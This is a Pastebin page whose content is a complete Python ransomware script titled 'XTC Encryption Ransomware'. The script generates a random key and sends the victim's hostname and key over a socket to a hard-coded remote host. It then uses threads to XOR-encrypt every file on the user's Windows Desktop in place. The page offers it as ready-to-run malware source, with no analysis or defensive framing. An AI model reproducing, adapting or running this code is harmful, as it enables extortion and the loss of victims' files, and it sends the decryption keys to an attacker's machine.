Advertisement
Guest User

XTC Encryption Ransomware

a guest
Oct 17th, 2022
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.57 KB | None | 0 0
  1. import socket
  2. import threading
  3. import os
  4. import colorama
  5. import random
  6. import queue
  7.  
  8. from random import randint
  9. from queue import Queue
  10. from colorama import Fore
  11.  
  12. # Encrypt Files
  13. def encrypt(key):
  14. while True:
  15. file = q.get()
  16. print(f"Encrypting {file}")
  17. try:
  18. key_index = 0
  19. max_key_index = len(key) -1
  20. encrypted_data = ''
  21. with open(file, 'rb') as f:
  22. data = f.read()
  23. with open(file, 'w') as f:
  24. f.write('')
  25. for byte in data:
  26. xor_byte = byte ^ ord(key[key_index])
  27. with open(file, 'ab') as f:
  28. f.write(xor_byte.to_bytes(1, 'little'))
  29.  
  30. if key_index >= max_key_index:
  31. key_index = 0
  32. else:
  33. key_index += 1
  34. print(f'{file} Successfully encrypted')
  35. except:
  36. print(f'Failed To encrypt {file}')
  37. q.task_done()
  38.  
  39. # Socket information
  40. ip_address = '192.168.1.118'
  41. port = 5678
  42.  
  43. # encryption information
  44. encryption_level = 512 // 8
  45. key_char_pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[]#@></\?.,'
  46. key_char_pool_len = len(key_char_pool)
  47.  
  48. #Grab file Paths
  49.  
  50. print("Preparing Files..")
  51. desktop_path = os.environ['USERPROFILE']+'\\Desktop'
  52. files = os.listdir(desktop_path)
  53. abs_files = []
  54. for f in files:
  55. if os.path.isfile(f'{desktop_path}\\{f}') and f != __file__[:-2]+'txt':
  56. abs_files.append(f'{desktop_path}\\{f}')
  57. print("Successfully Located Files")
  58.  
  59. # Grabs Clients Hostname
  60. hostname = os.getenv('COMPUTERNAME')
  61.  
  62. # Generate Encryption Key
  63. print(f"{Fore.YELLOW}[!]Generating encryption key Please stand by")
  64. key = ''
  65. for i in range(encryption_level):
  66. key += key_char_pool[random.randint(0, key_char_pool_len-1)]
  67. print(f"{Fore.YELLOW}[!] KEY GENERATED")
  68.  
  69. # Connect to server to transfer key to host name
  70.  
  71. with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  72. s.connect((ip_address, port))
  73. print(f"{Fore.GREEN}[>] Successfully Connected Transmitting Key and Hostname")
  74. s.send(f'{hostname} : {key}'.encode('utf-8'))
  75. print(f'{Fore.YELLOW}[!] Finished Transmitting Data [!]')
  76. s.close()
  77.  
  78. # Store files into queue for threads to handle
  79.  
  80. q = queue.Queue()
  81. for f in abs_files:
  82. q.put(f)
  83.  
  84.  
  85. #Setup Threads For encryption
  86. for i in range(10):
  87. t = threading.Thread(target=encrypt, args=(key,), daemon=True)
  88. t.start()
  89.  
  90.  
  91. q.join()
  92. print('Encryption Completed Successfully....')
  93. input()
  94.  
Tags: XTC
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement